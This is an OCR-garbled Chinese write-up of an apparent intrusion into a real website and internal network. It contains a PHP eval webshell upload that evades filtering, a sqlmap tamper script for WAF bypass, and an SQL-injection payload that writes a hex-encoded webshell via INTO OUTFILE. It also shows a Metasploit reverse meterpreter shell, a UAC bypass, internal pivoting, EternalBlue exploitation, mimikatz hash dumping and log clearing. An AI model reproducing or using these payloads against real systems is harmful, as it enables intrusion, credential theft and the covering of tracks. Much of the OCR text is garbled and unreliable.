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EER : 1iE=A. .. $ELEE: 0 PRIE®E: 0/F)
D ikl HTTPNERE

WERE - EAMEAG, XEH R omap — @ EER DR, RFE
e [A) FE 45

:/var/waw/html# nmap

Starting Mmap 7.60 ( k**tne./inman ~o-o0 : . 11:10 EDT
Mmap scan report for

Host is up (@.017s 1-

Other addre for (not scanned):

Mot shown: 998 fTilte:.. 5

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Mmap done: 1 IP address (1 host up) scanned in 48.36 seconds
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‘ Filter: Showing all items ‘@

Request | Payload Status | Error | Timeout | Length v| Comment

401 wangming 200 O [ 15804 4]
454 zhangkun 200 O ] 15795 D
316 machao 200 O ] 15793

50 wangfei 200 a O 13219

66 yangyong 200 U L) 13219

76 zhangbo 200 O ] 13219

81 lifeng 200 O O 13219

96 lining 200 O O 13219

97 lihua 200 O O 13219

110 chenlei 200 O O 13219 :
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Request

H Params I Headers m

D%22vd¥Z2%3A%202%2C%20%20 T rn548718753

-
7%7D: 2
__tins 19728159=%7B%: 19%2C%2
0%22vds22%3A%204%2C%20%22 718472
4%7D; _ Sllaig_ =12

Connection: close

—————— WebKitFormBoundarytjsEBxHNKTAEZ pBj
Content-Disposition: form-data; name="upload file";
filename="shell exec.php”

Content-Type: image/jpeg

<?php Beval (§_POST["cmd"]): 2>
—————— WebKicFormBoundarytjsESBxHNK7AEZ pB)
Content-Disposition: form-data; name="submit"

—————— VebKictFormBoundarytjsESBxHNKTAEZ pBy--

? < + 2| | Type a search term

Done

v

0 matches

AL T DI GRS

<?php @eval("echo

"phpnb’;".get_defined_vars()["'

Zeid 2 i R I
}&w’
BLE E X b AR B A ik

Request
_H Params THlader! Hex |
7%7D; .
__tins__19728158=%v 2 P

0%22vd¥22%3A%204%2Ch.
4%7D; _ Sllaig =12
Connection: close

8719472

------ VebKitFormBoundarytjsESxHNK7AEZpB]

Content-Disposition: form-data; name="upload file";
filename="shell exec.php3"”

Content-Type: image/jpeg

<?php @Beval ("echo

'phpnb' ;".get_defined vars()['_POST']['cmd']):?>

—————— WebKitFormBoundarytjsEBxHNKTAEZpBj
Content-Disposition: form-data; name="submit"

—————— WVebKitFormBoundarytjsES8xHNK7AEZpBj—-

| ? | r H + ” > I Type a search term

Done

v

0 matches

2t BE W M Fuzz,
1% B Dy I PHP ST A 44 tH 72 Bl AL 1T,

W AT B I A TR B B AR,
2 TR0 e e

Response

H Headers m HTML ] Render ]

<li>
<h3>000</h3>
<form enctype="multipart/form-datca®
method="post" onsubmit="return checkFile()">
<p>0000000000<p>
<input class="input file"
type="file" name="upload file"/>
<input class="button" type="submit"”
name="submit” value="00"/>

e

</torm>
ST——
00000000 . phpODO00 </div>
" et ot
</div>
</1li>
</ol>

</div> )

v
@ [ZJ EJ EJ Type a search term

0 matches

3,205 bytes | 159 millis

_POST']['ecmd"]);?>

YR E RN php3 M . phps B AT BL B AR
H WA BB ERS S EWKE,

(LT ) = R A NS

Response
_H Headers I Hex | HTML TRendnr]
<h3>000</h3> 1
<form enctype="multipart/form-data” P
method="post” onsubmit="return checkFile()">

<p>0000000000<p>

<input class="input_file"
type="file" name="upload file"/>

<input class="button"” type="submit"
name="submitc" wvalue="00"/>

</form>»
<div id="msg">
</div>
Upload successful!!!
</div>
</1li>
</ol>
</div> N
/
K
? < + > | | 0 matches

3,182 bytes | 2,448 millis
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M. EREA9RESS

BAAM SRR D, ER2EREIEMILE T — LB Usql I EAN R
Wor, ERAE P ASQLIBE M.

<« X @ U & ive/index rname = i

© 2015FIRERIFA. 5 socketRE + 50 @FE @== @EF

Deprecated: mysqgl_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. » Jhp on line 80
Deprecated: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. i mw wpmaphp on line 80
Deprecated: mysql_escape_string(): This function is deprecated; use mysql_real_escape string() instead. ir 1.php on line 80

>

fFusername Z F 4b M 7

SEAN JL VR .

FRILRE, AMEsqlmap — KR, %I

:59:08] [WARNING] back-end DBMS i MysQL

:59:08] [WARNING] back-end DBMS i Oracle

:59:08] [WARNING] back-end DBMS i PostgresqQL

:59:08] [WARNING] back-end DBMS i Microsoft SQL Server
:59:08] [WARNING] back-end DBMS i SQLite

:59:08] [WARNING] back-end DBMS i Microsoft Access
:59:08] [WARNING] back-end DBMS i Firebird

:59:08] [WARNING] back-end DBMS i SAP MaxDB

:59:08] [WARNING] back-end DBMS i Sybase

:59:08] [WARNING] back-end DBMS i IBEM DB2
:59:08] [WARNING] back-end DBMS i HSQLDB or version is < 1.7.2

[ NG] ying generic 0 T)
[WARNING] the back-end DBMS is not Informix
[CRITICAL] sqlmap was not able to fingerprint the back-end data

G

T TR, MARZEMEBY



Q_ https:/, e wE /live/index.php?type=AG&username=ufp and 1=1

tRiE—+"so.. @FH QEx Q5%

e

Ziie ]

BEOBREAASESY, CEMEEERIGEIZR!
ARRE: RN E SSRGS K

U022

1) KWERTFNE,;
2) URIEEE, TEEAARSSIERAIE,
3) EEMIEHE, BRARIGEER,;

HEE T HMMHT, BREAM ARNEFEEShe lTRF A A, &
Jpovk W o, BN oz Bl B F i — % SQL ¥ AN Bypass
Safedog4. 0 X &

https://www.cnblogs.com/zy-king—
karl/articles/11431863. html

B WL 2% W A7 — F 4

—RMELRD T KRS LN tanper, O KL, & &R IR A E B A
| Kali B sqlmap XS N B 4E, X B EASMEXEZN —Rta

mper:

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ ENCODING

__priority__ = PRIORITY.LOWEST



def dependencies():

pass

def tamper(payload, **kwargs):

if payload:

payload=payload.
payload=payload.
payload=payload.
payload=payload.
payload=payload.

payload=payload.

replace("=","/*1*/=/*1%/")
replace("ORDER","/*IORDER/* | /*/*x/*/")
replace("AND","/*IAND/* | /% /%% /* /")
replace("OR","/*1OR/*|/*/** /% /")
replace("UNION","/*IUNION/* | /*/**/*/")

replace("SELECT","/*ISELECT/*|/*/**/%/")

payload=payload.replace("USER()","/*IUSER/* /X /k* /X /() /** /™)

payload=payload.replace("DATABASE()","/*IDATABASE/*!/*/**/*/()/*

kY

payload=payload.replace("VERSION()","/*IVERSION/* 1 /*/**/* /() /**/

")



payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/*

payload=payload.replace("EXTRACTVALUE","/* EXTRACTVALUE/*!/*/**/
*/()/**/")

payload=payload.replace("UPDATEXML","/* IUPDATEXML/* ! /*/**/* /")

return payload

HRAEA KR, REHER, BIPERGEMET, EHFHRR%]—
FBypassZ &M —E1y, TREAFE L RKESHXE, MET
MBI GIRZAMBGK T, CHEXIME RAME, 4R
BRI AL R R A HTTP Sk, R KA LB ST sqlmap I FF
fiE, R 3015 B Z A AT DL .

R/ S IS N b N i 1 1 o = s e SO P s s T B %
o7, TUEERBANABRBEREE T, AEEFELORT
AN—A AR, KA OEERBEXN T MEifsecure _file pri
vIE R T, FIRNZEANTSRTFANSH .

P SRR A B i 2z A o A8 — A T ER R RE

1. %3dand 1=1

1. BHIESHBX AT REAEAR,

2. username=1' or 11=1 %23(Z2M:H)



3. username=1' or %23(ZEMAFIHE)

4.
FTULEAtandFi11=1 4 KRSy, EENTZ BT T, L —FMuCH/ *1. 0 */
IR R BERE SR

5. payload:

6. /*1.. %/ (FERGTEIEDT, HE A H AR A ADRFIRAT)

7. username=1' or /*!11=1*/ %23 (ZLZEMALIE)

8. fFrllusernamebfE(ETEAN .,

2. % order by
1. ATLLEE NBEER IR RS
2. 1'/*lorder /*\/*/**/by*/4-- -

3. MR AFE T, RA&NS S 3R IE R L,

3. %45 union select

1. AW ARSI F R, R T X FiPayload:

2. -1" union--+x%0Aselect

4. %83t into outfile



1. W EER L WAYEE, Frllttinto
outfilefygeid A, Hsze W LiALidunion selectJiiELgeid, into--
+x%0Aoutfile

5. BA—HEART

1. ?id=-1"' union--+x%0Aselect
1,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E, 3

into--+x%0Aoutfile 'D:\wwwroot\web\shell exec.php'--+

TONEER AL Dy — A EE K PHP N S, AR N JE T AT $RCEE AT 8 R
YA AE T ONBURR 0 XS L, H RS YRR B B R

.
[ EhE _ox
[+ =l X ET o M S
B EuRE
URLHtH * @ Ishell_exec.php |
EEEW ¢ ond |
PUREE |
o ) 2
BEAE P [v]
]
@ default (T4§%)
O random (F4£%)
O basesa
=== VN
o Hite®
6. BARKG

N EERX NSRRI ARBRTE T 4, BT, TREE MR
WA G o B, DR O H AT B 3K 2 B 9 R S R A T R g, B2
A B 8] ) AR R R ) 5l B A R WL A AR I I — DR, IR AR
— FE AT DL M L R AR Z R, B BL R BLR B KT AR N 3



Seid R = RAME, AT A g MK, ok ARG R R s
AT LA — S PHP ) 7 A 1R B R B g il .

ARG W R

<?php @eval("echo

"phpnb';".get_defined_vars()['_POST']['cmd"']);?>

Frblhix & JPayload:

?id=-1" union--+x%0Aselect

1,0x3C3F70687020406576616C28226563686F20277068706E62273B222E6765

745F646566696E65645F7661727328295B275F504F5354275D5B27636D64275D

293B3F3E,3 into--+x%0Aoutfile 'D:\wwwroot\web\shell exec.php'--+

M Fhodie
© & x BT o8 hEEE
B Enlf 5

-Oox

URLHtHE = https:, 'shell_exec.phd

EEESB * | omd
Psh &L
RRIEE UTF8
EEER PHP
B2
*) default (T-#)
) random (-3E%F)
) base64
B EkiER
o Hitig B

F#Shell. EMEuwmANEE — FAKE "whoami” & I & — & @ H

S



D:\wwwroot\web>

h. FFEHR

BN ORMEAIRB, B~ ZTEWS & B EE, REMBEAHAEMSFEL
CSH M, Frilfit — N ishell, fShell FHMSFH, % — kK
EAE T —AKali EH W MPHP R #She 1A A Z: /usr/share
/webshells/php/php-reverse-
shell.php, &R NEAL, BEXANMN T, & / o
o REZWA T MEHERKES, AT RANERESST %
B, ARBEE T, BBPEHRLERBEHZBN '

ER LT

EXEE wothis SRR SHFEIE SocksitE EBEShell MIEFEE AEUAB &53 BHES

PHP Version 5.5.38 Php
System Windows NT LAPTOP-O8VCSRPV 6.2 build 9200 (Windows 8 Home
Premium Edition) i586
Build Date Jul 20 2016 11:08:49
Compiler MSVC11 (Visual C++ 2012)
Architecture x86
M UK IE o H) R #Shell, FTHE 7 AR & IP, EFffmeterpre

ter, mii “HFE” , REMERSZH LPIMSFR X E W, 7%
ki P Ry FraRE. Vi A EREShel 1ERE TR, HASEAD
o AL S meterpreter i) <=1 Ja F % Ashelli# ANshell

\v\'\
\\\

£ 3 o



ort: 4444 @ Meterpreter () Shel
msf expl yioad php/meterpreter/ieverse tep
payioad g

sf

aylcsa

Nam rent Setting Required Description

LHOST yes  The listen address [an interface may be specified)

PORT 4444 yes  The listen port

arget
11:03:41 +0800

msf5 exploit( ) > exploit

[*] Started reverse TCP handler nn A A A A-aa44

[*] Sending e (38288 1

[*] Meterprete N 181:4444 -> 537569) at

meterpreter > shell

Process 21140 created.

Channel © created.

Microsoft Windows [6i4 10.0.18363.959]

gfu%lmEﬁﬁ*ﬁﬁfﬁqetsystemi—?lﬁFj[ﬁ:@(, Tﬂ%lﬁjﬂﬁz¢
MWL, W RKRKSGBLUNERERAREGE, &5 %k, T £
FZiA M HbypassuacBHRHITRAMN, B Eneterpreter fj il &
BMIN b BN AERE G-

1. exploit/windows/ /bypassuac

2. ( IR REER BB AL PR A 1d)

HEAE Finfolg BN 1Z &0 LLIT I .




msf5 exploit( ) = info

Name: Windows Escalate UAC Protection Bypass
Module: exploit/windows/local/bypassuac
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-12-31

Provided by:
David Kennedy "ReL1K" <kennedyd@l3@gmail.com=>
mitnick
mubix <mubix@hak5.org>

Available targets:
Id Name

Windows x86

Windows x64

Check supported:
No

Basic options:
Name Current Setting Required Description

SESSION ] The session to run this module on.
TECHNIQUE EXE 13 Technique to use if UAC is turned off (Accepted:

Payload information:

Description:
This module will lbypass Windows UAC by utilizing the trusted
publisher certificate through process injection. It will spawn a
second shell that has the UAC flag turned off.

References:
http://www.trustedsec.com/december-2810/bypass-windows-uac/

A

AT exploit i 2 5 W B — > session, %i N sessions

%
]
5 (R HEKGFMsessionid) HAFHEBMA WP, i Agetuia

BEHEIMHNPNIRESL Esystenf IR T

msf5 ploit( ) 5 ions -1
[#] Starting interaction with 5...

= getuid
rname: SYSTEM (@)

7~ Eibs AR

RSER T A H AT LN T, B S E A Bl DU JE 2 4k 4k

PSH, EXE)

=4

R



er > run get local subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 172.16. _../255.255.255.0

meterpreter = run autoroute -s 172.1¢6 "~ 0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/mana autoroute OPTION=value [...]
[+*] Adding a route to 172.1( _..0/255.255.255.0...

2 f255.255.255.0 via 172.16 -~ _. _""

RIGHRNM T EANME —CBEAFIEAHLAMILE, HAKIMNETHZ
— B WindowsHLa%, FrLAIATAT LLAEFH TCMP R A — Dping 34,
X A — CBLIPAF i E AL EAT 2R 0

/L %i in (1,1,254) Do @ping -w 1 -n 1 172.16.xx.%i | findstr
nTTL2"

ICMPER W B pingn B H bn L 28 b5 K 85 FF J5 7T G wt VAR M 2 7 . %
THREZRFmeterpreter2 i H#Hi Nshell i ANshell &, Ul
R IELIE M Nchep 65001, FEMEEHn T

time=1lms

time=1ms
time=lms

=32
2
2

HEPlQ from 172.16.1° byt
Reply from 172.16. 1: byt
Reply from 172.16.1. .0: byt

,.:.n.'
es=3
e5=32

Hph — 6 RBMNEJNHNZIP, Wi FE —CREFEWEN R,
Al e A ML 2% T B K RS R AN B
Kl N BC £ LL Windows Ml #2 N F , 22 ik — W msl7-

010 HMIRM, mTULEREF — a2 TEEAFAEMSIT-010,



msf5 exploit( > use auxiliary/scanner/smb/smb msl7 010
msf5 auxiliary( ) > set rhosts 172.16.12.
rhosts => 172.16.

msf5 auxiliary( ) > set threads 512

threads => 512

msf5 auxiliary( ) > run

[*] 172.? 1445 Scanned 1 of 2 hosts (50% complete)

[+] 172..0.12 +:445 Host is likely VULNERABLE to MS17-010! - Wi
x86 (32-bit)

[*] 172.16.12 7:445 - Scanned 2 of 2 hosts (100% complete)

[*] Auxiliary module execution completed

WAAT — B, BEDF —GHL&.

1. wuse exploit/windows/smb/ms17 016 eternalblue

2. set rhosts Hirpflisip

3. set payload windows/x64/meterpreter/reverse_tcp
4. set lhost fR%4=IP

5. set lport 4567

6. exploit

445 - Sending final SMBv2 buff
.445 - Sending last fragment of oit packet!
:445 - Receiving re ! '
):445 - IMA UE overw essfully (@xCeeeeeeD

10:445 -
10:445 -
9:445 -
1445 -

09:445 -

Explo. .umpleted, but no s

g X K W 7 % 1 @ , " oR HE K T O? W o- . -
BEMEDPE, WRHES Vsystenf R, Ml =AM HMinikatz i
By hash {H . Meterpreter B n % load
mimikatz, fEHE M systemM PRI <= st B Hash:

¥ Z= B W E S Hash{l £ HOBALR, H AL 2 i 5 Wl



https://cmdb. com/

fod47 m = meomm  m i8ecfc
NTLM M [55Bh]

HiRESER:

19 3 %, BT ORI R H PR LA 3389 H T, & F — DMRIE A
IR I K 3 A

rdesktop - [— <]

Administrator

HIEAP (W)

w. Windows 7 igfirr

HEERAZXZ "R E&EN. HEAFAHEHN S AL, KB —
X S N



& runlog-2mm mg 20 30w LOG 374 339 KB

& runlog-2020- = y 8 LOG 744 459 KB
& runlog-202 8 LOG 3744 214 KB
& runlog-20 ' 36 LOG 3744 217 KB
& runlog-20mm o gy 17 LOG 3z#% 214 KB
& runlog-2( og 0 LOG 3% 2 KB
& runlog-2 .log e 21 LOG 3Zf% 3,964 KB
&/ runlog- "= = 7.log 77/17 2w LOG 324 256 KB
N7 Lrar 110:27 RAR BTl 238,387 KB
8  BEzp 20 19:41 7IP Tt 4,776 KB
8 1 .g=Ezp 20 17:35 7IP [EEESTiE 4,349 KB
0  zip 2 16:15 ZIP REEsTi 475 KB
)68.zip 70t ZIP SRS 199 KB
. 1asas3.bak : 5, 354 BAK 3z 8 KB
0 124.bak , 5 43 BAK Szit 7 KB
(12 123454.bak 2 5:54 BAK SZ{t 2 KB
02 asa.bak 20: 2:52 BAK Szit 2 KB
[T2¢  23.bak 202, _22:43 BAK SZi5 2 KB

FWBETE, T8 —TIEHEE, HHTHEZL: meterpreter

iﬁﬁ)\clearrevo

t. RERS
It S5 4T 52 50 A A R

i 7 S 1 Y N RS N N W =S S VR N N S L
> oW oM/ o3 — # B o & > # OXN MW -
D U= W 1A= G C S N 7S v = R < - o 1 { R =
PSQLIE ARGt # 2 MIFHFAEES AR E N i — A 3F -
> KNk W % R % &k ¥ Shell-
> i it BypassUAC B 7 X 3K H # system N R -
>N M IP M CEB A, Al Hms17_010 % W 4T 7 — 3 K K -
> 2 W R H Mimikatz 32 BU A ML % 5% % 59 -> R W R #H 8 C -
>3389IL M E FF Hh — & R & M AL & H .
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